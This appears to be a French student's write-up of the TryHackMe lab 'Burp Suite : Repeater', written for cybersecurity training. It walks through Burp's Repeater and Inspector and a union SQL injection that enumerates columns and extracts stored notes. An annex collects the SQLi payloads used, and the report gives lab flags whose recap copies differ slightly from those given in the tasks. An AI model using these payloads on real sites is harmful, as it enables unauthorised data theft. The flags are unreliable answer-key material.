

RAPPORT TRYHACKME

Burp Suite : Repeater

Résumé

Ce rapport documente la complétion du room TryHackMe "Burp Suite : Repeater" qui couvre l'utilisation du module Repeater de Burp Suite. Le room aborde la manipulation de requêtes HTTP, l'utilisation de l'Inspector, et inclut un challenge pratique d'injection SQL via Repeater.

Objectifs d'apprentissage

- Comprendre le fonctionnement du module Repeater
- Maîtriser l'interface et les options de visualisation
- Utiliser l'Inspector pour modifier les requêtes
- Exploiter une vulnérabilité SQL Injection via Repeater
- Manipuler les headers HTTP pour obtenir des flags

Ibrahim Kakaev

Décembre 2025

Plateforme : TryHackMe

Room : Burp Suite : Repeater

Difficulté : Facile

URL : <https://tryhackme.com/room/burpsuiterepeater>

Table des matières

1	Introduction	3
1.1	Contexte	3
1.2	Prérequis	3
1.3	Informations sur le Room	3
2	Task 1 : Introduction	4
2.1	Présentation du Room	4
3	Task 2 : What is Repeater ?	5
3.1	Définition	5
3.2	Fonctionnalités principales	5
4	Task 3 : Basic Usage	6
4.1	Envoi de requêtes au Repeater	6
4.2	Workflow typique	6
4.3	Exemple pratique	6
5	Task 4 : Message Analysis Toolbar	7
5.1	Options de visualisation	7
6	Task 5 : Inspector	8
6.1	Présentation de l'Inspector	8
6.2	Sections de l'Inspector	8
7	Task 6 : Practical Example	9
7.1	Challenge : Ajouter un header personnalisé	9
7.2	Procédure	9
7.3	Requête modifiée	9
8	Task 7 : Challenge	10
8.1	Challenge : Provoquer une erreur 500	10
8.2	Contexte	10
8.3	Méthode	10
9	Task 8 : Extra Mile - SQLi with Repeater	11
9.1	Contexte du challenge	11
9.2	Objectif	11
9.3	Étape 1 : Confirmer la vulnérabilité	11
9.4	Étape 2 : Déterminer le nombre de colonnes	11
9.5	Étape 3 : Énumérer les colonnes	11
9.6	Étape 4 : Extraire le flag	11
9.7	Requête complète	12
10	Task 9 : Conclusion	13
10.1	Compétences acquises	13
10.2	Prochain room	13
11	Récapitulatif des Flags	14

12 Annexes	15
12.1 Annexe A : Raccourcis clavier Burp Suite	15
12.2 Annexe B : Payloads SQLi utilisés	15
12.3 Annexe C : Ressources	15

1 Introduction

1.1 Contexte

Burp Suite Repeater est un outil permettant de modifier et renvoyer manuellement des requêtes HTTP interceptées. Il est essentiel pour le test manuel d'endpoints, l'exploration de vulnérabilités et la manipulation fine des paramètres de requêtes.

1.2 Prérequis

Room prérequis : Burp Suite : The Basics

<https://tryhackme.com/room/burpsuitebasics>

Il est fortement recommandé de compléter le room Burp Basics avant celui-ci.

1.3 Informations sur le Room

Nom : Burp Suite : Repeater

Plateforme : TryHackMe

URL : <https://tryhackme.com/room/burpsuiterepeater>

Difficulté : Facile

Nombre de Tasks : 9

Compétences : Burp Suite, HTTP, SQL Injection

2 Task 1 : Introduction

2.1 Présentation du Room

Ce room explore les capacités avancées du framework Burp Suite en se concentrant sur le module Repeater. Les points abordés incluent :

- Manipulation et renvoi de requêtes capturées
- Options et fonctionnalités du module Repeater
- Exercices pratiques incluant une injection SQL

Q1 : Deploy the machine and start Burp Suite.

R : No answer needed

3 Task 2 : What is Repeater ?

3.1 Définition

Burp Suite Repeater permet de :

- Modifier et renvoyer des requêtes interceptées vers une cible
- Capturer des requêtes dans le Proxy et les manipuler
- Créer manuellement des requêtes (similaire à cURL)
- Renvoyer la même requête plusieurs fois avec des modifications

3.2 Fonctionnalités principales

Interface Repeater :

- **Request List** : Gère plusieurs requêtes Repeater
- **Request Controls** : Envoyer, annuler, naviguer
- **Request/Response View** : Éditer et voir les résultats
- **Layout Options** : Disposition horizontale/verticale
- **Inspector** : Analyse détaillée des requêtes/réponses
- **Target** : IP ou domaine de destination

Q1 : Familiarise yourself with the Repeater interface.

R : No answer needed

4 Task 3 : Basic Usage

4.1 Envoi de requêtes au Repeater

Méthode 1 : Clic droit sur la requête → "Send to Repeater"

Méthode 2 : Raccourci clavier Ctrl + R

4.2 Workflow typique

1. Capturer une requete dans le Proxy
2. Envoyer au Repeater (Ctrl + R)
3. Modifier la requete selon les besoins
4. Cliquer sur "Send"
5. Analyser la reponse
6. Repeter avec d'autres modifications

4.3 Exemple pratique

Modification du header Connection :

```
# Original
Connection: close

# Modifie
Connection: open

# Resultat dans la reponse
Connection: keep-alive
```

Q1 : Capture a request to http ://MACHINE_IP in the Proxy and send it to Repeater.

R : No answer needed

5 Task 4 : Message Analysis Toolbar

5.1 Options de visualisation

Le Repeater offre plusieurs options pour afficher les requêtes et réponses :

Vue	Description
Pretty	Formatage lisible avec coloration syntaxique
Raw	Données brutes sans formatage
Hex	Vue hexadécimale pour données binaires
Render	Rendu comme dans un navigateur

Q1 : Which view option displays the response in the same format as your browser would ?

R : Render

Q2 : Try viewing the response in different views.

R : No answer needed

6 Task 5 : Inspector

6.1 Présentation de l'Inspector

L'Inspector est un outil complémentaire qui permet d'analyser et modifier les requêtes/réponses de manière structurée.

6.2 Sections de l'Inspector

Pour les requêtes :

- **Request Query Parameters** : Paramètres GET
- **Request Body Parameters** : Paramètres POST
- **Request Cookies** : Cookies envoyés
- **Request Headers** : En-têtes HTTP

Pour les réponses :

- **Response Headers** : En-têtes de réponse

Q1 : Which section of Inspector is specific to POST requests ?

R : Body Parameters

Q2 : Get comfortable with Inspector.

R : No answer needed

7 Task 6 : Practical Example

7.1 Challenge : Ajouter un header personnalisé

Objectif : Ajouter un header FlagAuthorised: True pour obtenir un flag.

7.2 Procédure

1. Capturer une requête vers http://MACHINE_IP/
2. Envoyer au Repeater (Ctrl + R)
3. Ajouter le header FlagAuthorised: True
4. S'assurer de laisser deux lignes vides à la fin
5. Envoyer la requête

7.3 Requête modifiée

```
GET / HTTP/1.1
Host: MACHINE_IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
```

Important : Laisser deux lignes vides après le dernier header! Sans cela, la requête ne sera pas traitée correctement.

Q1 : What is the flag you receive ?

R : THM{Yzg2MWI2ZDh1Yzd1NGFiZTUzZTIzMzVi}

8 Task 7 : Challenge

8.1 Challenge : Provoquer une erreur 500

Objectif : Faire planter le serveur avec une erreur 500 Internal Server Error.

8.2 Contexte

La page /products/ utilise un ID numérique dans l'URL pour identifier les produits. L'idée est d'envoyer des entrées inattendues.

8.3 Méthode

```
# Tester des valeurs inattendues :  
/products/0  
/products/-1 <- SOLUTION  
/products/abc  
/products/'  
/products/99999
```

Solution : Utiliser un nombre négatif comme /products/-1 provoque une erreur 500 et révèle le flag dans le message d'erreur.

Q1 : What is the flag you receive when you cause a 500 error in the endpoint ?

R : THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzh1}

9 Task 8 : Extra Mile - SQLi with Repeater

9.1 Contexte du challenge

Ce challenge "Extra Mile" est plus difficile et simule un scénario réel. L'objectif est d'exploiter une vulnérabilité Union SQL Injection dans le paramètre ID de l'endpoint /about/ID.

9.2 Objectif

Récupérer les notes sur le CEO stockées dans la base de données.

9.3 Étape 1 : Confirmer la vulnérabilité

```
# Capturer une requete vers /about/2
# Ajouter une apostrophe pour tester

GET /about/2' HTTP/1.1
Host: MACHINE_IP
...

# Resultat : 500 Internal Server Error
# => Vulnerabilite SQLi confirmee !
```

9.4 Étape 2 : Déterminer le nombre de colonnes

L'erreur 500 révèle la structure de la requête SQL et indique que la table s'appelle people avec 5 colonnes.

```
# Test avec UNION SELECT
/about/0 UNION SELECT 1,2,3,4,5
```

9.5 Étape 3 : Énumérer les colonnes

```
# Recuperer les noms de colonnes
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null
FROM information_schema.columns WHERE table_name="people"

# Resultat : id, firstName, lastName, pfpLink, role,
# shortRole, bio, notes
```

9.6 Étape 4 : Extraire le flag

Informations obtenues :

- Table : people
- Colonne cible : notes
- ID du CEO (Jameson Wolfe) : 1

```
# Payload final pour extraire les notes du CEO
/about/0 UNION ALL SELECT notes,null,null,null,null
FROM people WHERE id = 1
```

9.7 Requête complète

```
GET /about/0 UNION ALL SELECT notes,null,null,null,null
FROM people WHERE id = 1 HTTP/1.1
Host: MACHINE_IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```

Q1 : Exploit the union SQL injection vulnerability in the site. What is the flag ?

R : THM{ZGE30TUyZGMyMzkwNjJmZjg3Mzk1NjJh}

10 Task 9 : Conclusion

10.1 Compétences acquises

À la fin de ce room, vous savez :

- Utiliser Repeater pour modifier et renvoyer des requêtes
- Naviguer dans l'interface et les options de visualisation
- Utiliser l'Inspector pour analyser/modifier les requêtes
- Ajouter des headers personnalisés
- Exploiter des vulnérabilités via manipulation de requêtes
- Effectuer une injection SQL manuelle avec Repeater

Q1 : I can use Burp Suite Repeater!

R : No answer needed

10.2 Prochain room

Le prochain room du module Burp Suite couvre **Burp Suite : Intruder**, qui permet des attaques automatisées et personnalisables.

11 Récapitulatif des Flags

Tous les flags du room :

Task 6 - Header FlagAuthorised :

THM{Yzg2MWI2ZDh1YzdlNGFiZTUzZTIzMzVi}

Task 7 - Erreur 500 (/products/-1) :

THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzh1}

Task 8 - SQL Injection CEO notes :

THM{ZGE30TUyZGMzMzkWjJmZjg3Mzk1NjJh}

12 Annexes

12.1 Annexe A : Raccourcis clavier Burp Suite

Raccourci	Action
Ctrl + R	Envoyer au Repeater
Ctrl + I	Envoyer à Intruder
Ctrl + Shift + R	Renvoyer la requête
Ctrl + U	URL encode la sélection
Ctrl + Shift + U	URL decode la sélection
Ctrl + B	Base64 encode la sélection
Ctrl + Shift + B	Base64 decode la sélection

12.2 Annexe B : Payloads SQLi utilisés

```
# Test de vulnerabilite
/about/2'

# Enumeration des colonnes
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null
FROM information_schema.columns WHERE table_name="people"

# Extraction des donnees
/about/0 UNION ALL SELECT notes,null,null,null,null
FROM people WHERE id = 1

# Extraction de toutes les notes
/about/0 UNION ALL SELECT group_concat(notes),null,null,null,null
FROM people
```

12.3 Annexe C : Ressources

- **Burp Suite Documentation** : <https://portswigger.net/burp/documentation>
- **TryHackMe Room** : <https://tryhackme.com/room/burpsuiterepeater>
- **SQL Injection Room** : <https://tryhackme.com/room/sqlinjectionlm>
- **Burp Suite Intruder** : <https://tryhackme.com/room/burpsuiteintruder>
- **OWASP SQLi** : https://owasp.org/www-community/attacks/SQL_Injection

Notes importantes

❑ Avertissement légal

L'utilisation de Burp Suite et des techniques d'injection SQL sur des systèmes sans autorisation explicite est illégale. Les techniques décrites dans ce rapport ne doivent être utilisées que :

- Sur vos propres systèmes
- Dans des environnements de lab autorisés (TryHackMe, HackTheBox, etc.)
- Avec une autorisation écrite explicite du propriétaire
- Dans le cadre d'un test d'intrusion professionnel autorisé

L'auteur de ce rapport décline toute responsabilité en cas d'utilisation abusive de ces techniques.

Room complété avec succès

TryHackMe - Burp Suite : Repeater

Ibrahim Kakaev
Décembre 2025

Dans le cadre d'une formation en cybersécurité